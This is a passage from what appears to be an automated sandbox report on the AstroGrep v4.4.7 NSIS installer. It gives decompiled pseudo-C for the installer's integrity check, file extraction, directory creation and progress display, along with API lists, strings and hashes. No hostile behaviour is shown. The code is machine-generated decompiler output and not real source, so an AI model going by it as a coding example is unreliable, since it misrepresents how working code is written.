						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x414418; // 0xe817a
						 *0x42e4a0 =  *0x42e4a0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x42e414 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t24 = _t80 - 4; // 0x409194
							_t93 = _t24;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x420424; // 0xe817e
						if(__eflags < 0) {
							_v12 = E0040613D(_v12, 0x420428, _t90);
						}
						 *0x414418 =  *0x414418 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 > 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00402c6e
0x00402c71
0x00402c74
0x00402c77
0x00402c7d
0x00402c8e
0x00402c93
0x00402ca6
0x00402cab
0x00402cae
0x00402cb4
0x00000000
0x00402cb6
0x00402cc1
0x00402cc7
0x00402cd8
0x00402cdf
0x00402ce5
0x00402ce7
0x00402cec
0x00402cee
0x00402ddb
0x00402ddd
0x00402de2
0x00402de9
0x00000000
0x00000000
0x00402deb
0x00402dee
0x00402e12
0x00402e17
0x00402e1d
0x00402e28
0x00402e2d
0x00402e30
0x00402e31
0x00402e32
0x00402e34
0x00402e39
0x00402e3c
0x00402e4f
0x00402e53
0x00402e5b
0x00402e60
0x00402e62
0x00402e62
0x00402e62
0x00402e6a
0x00402e6a
0x00402e6d
0x00402e6e
0x00402e6e
0x00402e71
0x00402e73
0x00402e73
0x00402e73
0x00402e7d
0x00402e83
0x00402e91
0x00402e96
0x00000000
0x00402e96
0x00000000
0x00402e3c
0x00402df6
0x00402e01
0x00402e06
0x00402e08
0x00000000
0x00000000
0x00402e0d
0x00402e10
0x00000000
0x00000000
0x00000000
0x00402cf4
0x00402cf9
0x00402cfe
0x00402d02
0x00402d09
0x00402d0e
0x00402d10
0x00402d12
0x00402d12
0x00402d16
0x00402d1b
0x00402d1d
0x00402e47
0x00402e3e
0x00000000
0x00402e3e
0x00402d23
0x00402d2a
0x00402da6
0x00402daa
0x00402dae
0x00402db3
0x00000000
0x00402daa
0x00402d33
0x00402d38
0x00402d3b
0x00402d40
0x00000000
0x00000000
0x00402d42
0x00402d49
0x00000000
0x00000000
0x00402d4b
0x00402d52
0x00000000
0x00000000
0x00402d54
0x00402d5b
0x00000000
0x00000000
0x00402d5d
0x00402d64
0x00000000
0x00000000
0x00402d66
0x00402d6c
0x00402d75
0x00402d7b
0x00402d7e
0x00402d80
0x00402d86
0x00000000
0x00000000
0x00402d8c
0x00402d90
0x00402d98
0x00402d98
0x00402d9b
0x00402d9b
0x00402d9e
0x00402da0
0x00402da2
0x00402da2
0x00000000
0x00402da0
0x00402d92
0x00402d96
0x00000000
0x00000000
0x00000000
0x00402db4
0x00402db4
0x00402dba
0x00402dc6
0x00402dc6
0x00402dc9
0x00402dcf
0x00402dd1
0x00402dd1
0x00402dd9
0x00402dd9
0x00000000
0x00402dd9

APIs

GetTickCount.KERNEL32(76712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00402C77
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE,00000400), ref: 00402C93

Part of subcall function 004059A2: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE,80000000,00000003), ref: 004059A6
Part of subcall function 004059A2: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059C8

GetFileSize.KERNEL32(00000000,00000000,00436000,00000000,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE,C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE,80000000,00000003), ref: 00402CDF

Strings

Inst, xrefs: 00402D4B
Null, xrefs: 00402D5D
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E3E
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C6D
Error launching installer, xrefs: 00402CB6
soft, xrefs: 00402D54
C:\Users\user\AppData\Local\Temp, xrefs: 00402CC1, 00402CC6, 00402CCC
"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" , xrefs: 00402C66
C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE, xrefs: 00402C7D, 00402C8C, 00402CA0, 00402CC0

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" $C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-1638609714
Opcode ID: b279afc3802d50bf57e9722da1946117fb0678ac622cf15a6dcee51f72b17406
Instruction ID: 2dd8a40a4a6da4a25a7ff80ffc2ca296f3ca1cc65932c4217ff60142993c7b59
Opcode Fuzzy Hash: b279afc3802d50bf57e9722da1946117fb0678ac622cf15a6dcee51f72b17406
Instruction Fuzzy Hash: 9651F771940214ABDF20AF65DE89B9E7AA8EF04714F54803BF504B72D2C7BC9D418BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401751, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401751(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E00402A3A(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x28) & 0x00000007;
				_t33 = E0040580E(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E004057A1(E00405D2F(0x409410, "C:\\Program Files (x86)\\AstroGrep")), ??);
				} else {
					_push(0x409410);
					E00405D2F();
				}
				E00405F9A(0x409410);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00406033(0x409410);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x1c);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E0040597D(0x409410);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E004059A2(0x409410, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0xc) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404F48(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x42e488;
						goto L32;
					} else {
						E00405D2F(0x409c10, 0x42f000);
						E00405D2F(0x42f000, 0x409410);
						E00405D51(_t75, 0x409c10, 0x409410, "C:\Users\Albus\AppData\Local\Temp\nsa2731.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x14)));
						E00405D2F(0x42f000, 0x409c10);
						_t62 = E00405525("C:\Users\Albus\AppData\Local\Temp\nsa2731.tmp\System.dll",  *(_t85 - 0x28) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x42e488 =  &( *0x42e488->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409410);
								_push(0xfffffffa);
								E00404F48();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404F48(0xffffffea,  *(_t85 - 8)); // executed
				 *0x42e4b4 =  *0x42e4b4 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 0xc));
				_push( *((intOrPtr*)(_t85 - 0x20)));
				_t43 = E00402E9F(); // executed
				 *0x42e4b4 =  *0x42e4b4 - 1;
				__eflags =  *(_t85 - 0x1c) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0xc), _t85 - 0x1c, _t75, _t85 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t85 - 0xc)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E00405D51(_t75, _t80, 0x409410, 0x409410, 0xffffffee);
					} else {
						E00405D51(_t75, _t80, 0x409410, 0x409410, 0xffffffe9);
						lstrcatA(0x409410,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(0x409410);
					E00405525();
					goto L29;
				}
				goto L33;
			}

0x00401751
0x00401758
0x00401761
0x00401764
0x00401767
0x0040176c
0x00401774
0x00401790
0x00401776
0x00401776
0x00401777
0x00401777
0x00401796
0x004017a0
0x004017a0
0x004017a4
0x004017a7
0x004017ac
0x004017ae
0x004017b0
0x004017b5
0x004017b5
0x004017c0
0x004017c0
0x004017d1
0x004017d3
0x004017d3
0x004017d4
0x004017d4
0x004017d7
0x004017da
0x004017dd
0x004017dd
0x004017e4
0x004017f3
0x004017f8
0x004017fb
0x004017fe
0x00000000
0x00000000
0x00401800
0x00401803
0x0040185d
0x00401862
0x004015a8
0x004026a6
0x004026a6
0x004028cf
0x004028d2
0x004028d2
0x00000000
0x00401805
0x0040180b
0x00401816
0x00401823
0x0040182e
0x00401844
0x00401844
0x00401847
0x00000000
0x0040184d
0x0040184d
0x0040184e
0x0040186b
0x004028d8
0x004028d8
0x004028d8
0x00401850
0x00401850
0x00401851
0x00401492
0x0040226e
0x0040226e
0x0040226e
0x0040184e
0x00401847
0x004028da
0x004028de
0x004028de
0x0040187b
0x00401880
0x00401886
0x00401887
0x00401888
0x0040188b
0x0040188e
0x00401893
0x00401899
0x0040189d
0x0040189f
0x004018a7
0x004018b3
0x004018a1
0x004018a1
0x004018a5
0x00000000
0x00000000
0x004018a5
0x004018bc
0x004018c2
0x004018c4
0x00000000
0x004018ca
0x004018ca
0x004018cd
0x004018e5
0x004018cf
0x004018d2
0x004018db
0x004018db
0x004018ea
0x004018ef
0x00402269
0x00000000
0x00402269
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Program Files (x86)\AstroGrep,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Program Files (x86)\AstroGrep,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405D2F: lstrcpynA.KERNEL32(?,?,00000400,004031BD,AstroGrep v4.4.7 Setup,NSIS Error), ref: 00405D3C

Part of subcall function 00404F48: lstrlenA.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
Part of subcall function 00404F48: lstrlenA.KERNEL32(00402FFA,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
Part of subcall function 00404F48: lstrcatA.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00402FFA,00402FFA,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C), ref: 00404FA4
Part of subcall function 00404F48: SetWindowTextA.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\), ref: 00404FB6
Part of subcall function 00404F48: SendMessageA.USER32 ref: 00404FDC
Part of subcall function 00404F48: SendMessageA.USER32 ref: 00404FF6
Part of subcall function 00404F48: SendMessageA.USER32 ref: 00405004

Strings

C:\Users\user\AppData\Local\Temp\nsa2731.tmp, xrefs: 0040179B, 0040180A, 00401828
C:\Users\user\AppData\Local\Temp\nsa2731.tmp\System.dll, xrefs: 0040181E, 0040183A
C:\Program Files (x86)\AstroGrep, xrefs: 0040177E
Call, xrefs: 0040176D, 00401776, 00401783, 00401795, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Program Files (x86)\AstroGrep$C:\Users\user\AppData\Local\Temp\nsa2731.tmp$C:\Users\user\AppData\Local\Temp\nsa2731.tmp\System.dll$Call
API String ID: 1941528284-1257087828
Opcode ID: dcbce836c27ea289c99eb80106526fbde3a2438fbdf80f7b90480c6667fbf7c1
Instruction ID: 9fffb686f64fba45267de9fcbed8a5438fb589d34f2a074259106400a528bed4
Opcode Fuzzy Hash: dcbce836c27ea289c99eb80106526fbde3a2438fbdf80f7b90480c6667fbf7c1
Instruction Fuzzy Hash: 1041B831900519BBDF107BA5DC85EAF3679DF45368B60863BF121F11E1D63C8A418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00404F48, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404F48(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x42dbe4; // 0x2040c
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x42e4b4;
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E00405D51(0, _t39, 0x429048, 0x429048, _a4);
					}
					_t26 = lstrlenA(0x429048);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x42dbc8, 0x429048); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x429048;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52); // executed
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x429048)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x429048, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00404f4e
0x00404f5a
0x00404f5d
0x00404f63
0x00404f6f
0x00404f72
0x00404f75
0x00404f7b
0x00404f7b
0x00404f81
0x00404f89
0x00404f8c
0x00404fa9
0x00404fad
0x00404fb6
0x00404fb6
0x00404fc0
0x00404fc9
0x00404fd5
0x00404fdc
0x00404fe0
0x00404fe3
0x00404ff6
0x00405004
0x00405004
0x00405008
0x0040500a
0x0040500d
0x00000000
0x0040500d
0x00404f8e
0x00404f96
0x00404f9e
0x00404fa4
0x00000000
0x00404fa4
0x00404f9e
0x00404f8c
0x00405017

APIs

lstrlenA.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
lstrlenA.KERNEL32(00402FFA,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
lstrcatA.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00402FFA,00402FFA,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C), ref: 00404FA4
SetWindowTextA.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\), ref: 00404FB6
SendMessageA.USER32 ref: 00404FDC
SendMessageA.USER32 ref: 00404FF6
SendMessageA.USER32 ref: 00405004

Strings

Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\, xrefs: 00404F68, 00404F7A, 00404F80, 00404FA3, 00404FAF

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\
API String ID: 2531174081-3983230329
Opcode ID: 534154c7e412c88fb75b9fbb21228ed2bc61e9f55108b0b726938b2d4222e579
Instruction ID: 5247e829223e414f07dbea0a4ec6ac131d28d962b221907bbf4360a320382309
Opcode Fuzzy Hash: 534154c7e412c88fb75b9fbb21228ed2bc61e9f55108b0b726938b2d4222e579
Instruction Fuzzy Hash: 76218C71D00118BBDF219FA5DC84ADEBFA9EF08354F10807AF904B6291C7798E408FA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040540E, Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040540E(CHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x407374;
				_v36.Group = 0x407374;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x407364;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryA(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityA(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405419
0x0040541d
0x00405420
0x00405426
0x0040542a
0x0040542e
0x00405436
0x0040543d
0x00405443
0x0040544a
0x00405451
0x00405459
0x0040545b
0x00000000
0x0040545b
0x00405465
0x0040546c
0x00405482
0x00000000
0x00000000
0x00000000
0x00405484
0x00405488

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405451
GetLastError.KERNEL32 ref: 00405465
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 0040547A
GetLastError.KERNEL32 ref: 00405484

Strings

ts@, xrefs: 00405414
C:\Users\user\AppData\Local\Temp\, xrefs: 00405434
ds@, xrefs: 00405443
C:\Users\user\AppData\Local\Temp, xrefs: 0040540E

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$ds@$ts@
API String ID: 3449924974-3338408764
Opcode ID: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction ID: 7d6f839e8d8492d35463ff02b487d6c5a8d89e3dbffb35ab490880a12e6152a5
Opcode Fuzzy Hash: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction Fuzzy Hash: B4010871D14259EADF11DBA0C9447EFBFB8EB14355F004176E905B6280E378A644CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00402E9F, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00402E9F(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				char _v88;
				void* _t65;
				void* _t69;
				long _t70;
				intOrPtr _t75;
				long _t76;
				intOrPtr _t77;
				void* _t78;
				int _t88;
				intOrPtr _t92;
				intOrPtr _t95;
				long _t96;
				signed int _t97;
				int _t98;
				int _t99;
				intOrPtr _t100;
				void* _t101;
				void* _t102;

				_t97 = _a16;
				_t92 = _a12;
				_v12 = _t97;
				if(_t92 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_v16 = _t92;
				if(_t92 == 0) {
					_v16 = 0x418420;
				}
				_t62 = _a4;
				if(_a4 >= 0) {
					E004030C7( *0x42e458 + _t62);
				}
				if(E004030B1( &_a16, 4) == 0) {
					L41:
					_push(0xfffffffd);
					goto L42;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t92 != 0) {
							if(_a16 < _t97) {
								_t97 = _a16;
							}
							if(E004030B1(_t92, _t97) != 0) {
								_v8 = _t97;
								L44:
								return _v8;
							} else {
								goto L41;
							}
						}
						if(_a16 <= _t92) {
							goto L44;
						}
						_t88 = _v12;
						while(1) {
							_t98 = _a16;
							if(_a16 >= _t88) {
								_t98 = _t88;
							}
							if(E004030B1(0x414420, _t98) == 0) {
								goto L41;
							}
							_t69 = E00405A49(_a8, 0x414420, _t98); // executed
							if(_t69 == 0) {
								L28:
								_push(0xfffffffe);
								L42:
								_pop(_t65);
								return _t65;
							}
							_v8 = _v8 + _t98;
							_a16 = _a16 - _t98;
							if(_a16 > 0) {
								continue;
							}
							goto L44;
						}
						goto L41;
					}
					_t70 = GetTickCount();
					 *0x40ad84 =  *0x40ad84 & 0x00000000;
					 *0x40ad80 =  *0x40ad80 & 0x00000000;
					_t14 =  &_a16;
					 *_t14 = _a16 & 0x7fffffff;
					_v20 = _t70;
					 *0x40a868 = 8;
					 *0x414410 = 0x40c408;
					 *0x41440c = 0x40c408;
					 *0x414408 = 0x414408;
					_a4 = _a16;
					if( *_t14 <= 0) {
						goto L44;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E004030B1(0x414420, _t99) == 0) {
							goto L41;
						}
						_a16 = _a16 - _t99;
						 *0x40a858 = 0x414420;
						 *0x40a85c = _t99;
						while(1) {
							_t95 = _v16;
							 *0x40a860 = _t95;
							 *0x40a864 = _v12;
							_t75 = E004061AB(0x40a858);
							_v24 = _t75;
							if(_t75 < 0) {
								break;
							}
							_t100 =  *0x40a860; // 0x641654
							_t101 = _t100 - _t95;
							_t76 = GetTickCount();
							_t96 = _t76;
							if(( *0x42e4b4 & 0x00000001) != 0 && (_t76 - _v20 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v88, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E00404F48(0,  &_v88); // executed
								_v20 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L44;
							} else {
								if(_a12 != 0) {
									_t77 =  *0x40a860; // 0x641654
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_v16 = _t77;
									L23:
									if(_v24 != 1) {
										continue;
									}
									goto L44;
								}
								_t78 = E00405A49(_a8, _v16, _t101); // executed
								if(_t78 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t101;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L42;
					}
					goto L41;
				}
			}

0x00402ea7
0x00402eab
0x00402eae
0x00402eb3
0x00402eb5
0x00402eb5
0x00402ebc
0x00402ec0
0x00402ec5
0x00402ec7
0x00402ec7
0x00402ece
0x00402ed3
0x00402ede
0x00402ede
0x00402ef0
0x0040309f
0x0040309f
0x00000000
0x00402ef6
0x00402efa
0x0040304c
0x0040308f
0x00403091
0x00403091
0x0040309d
0x004030a4
0x004030a7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040309d
0x00403051
0x00000000
0x00000000
0x00403053
0x00403056
0x00403059
0x0040305c
0x0040305e
0x0040305e
0x0040306e
0x00000000
0x00000000
0x00403075
0x0040307c
0x00403046
0x00403046
0x004030a1
0x004030a1
0x00000000
0x004030a1
0x0040307e
0x00403081
0x00403088
0x00000000
0x00000000
0x00000000
0x0040308a
0x00000000
0x00403056
0x00402f06
0x00402f08
0x00402f0f
0x00402f16
0x00402f16
0x00402f1d
0x00402f25
0x00402f2f
0x00402f34
0x00402f3c
0x00402f46
0x00402f49
0x00000000
0x00000000
0x00000000
0x00000000
0x00402f4f
0x00402f4f
0x00402f4f
0x00402f57
0x00402f59
0x00402f59
0x00402f6a
0x00000000
0x00000000
0x00402f70
0x00402f73
0x00402f79
0x00402f7f
0x00402f7f
0x00402f8a
0x00402f90
0x00402f95
0x00402f9c
0x00402f9f
0x00000000
0x00000000
0x00402fa5
0x00402fab
0x00402fad
0x00402fb6
0x00402fb8
0x00402fe6
0x00402fec
0x00402ff5
0x00402ffa
0x00402ffa
0x00402fff
0x0040303a
0x00000000
0x00000000
0x00000000
0x00403001
0x00403005
0x0040301c
0x00403021
0x00403024
0x00403027
0x0040302a
0x0040302e
0x00000000
0x00000000
0x00000000
0x00403034
0x0040300e
0x00403015
0x00000000
0x00000000
0x00403017
0x00000000
0x00403017
0x00402fff
0x00403042
0x00000000
0x00403042
0x00000000
0x00402f4f

APIs

GetTickCount.KERNEL32(000000FF,00000004,00000000,00000000,00000000), ref: 00402F06
GetTickCount.KERNEL32(0040A858,00414420,00004000), ref: 00402FAD
MulDiv.KERNEL32 ref: 00402FD6
wsprintfA.USER32 ref: 00402FE6

Strings

DA, xrefs: 00402F5C
... %d%%, xrefs: 00402FE0
DA, xrefs: 00403060

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

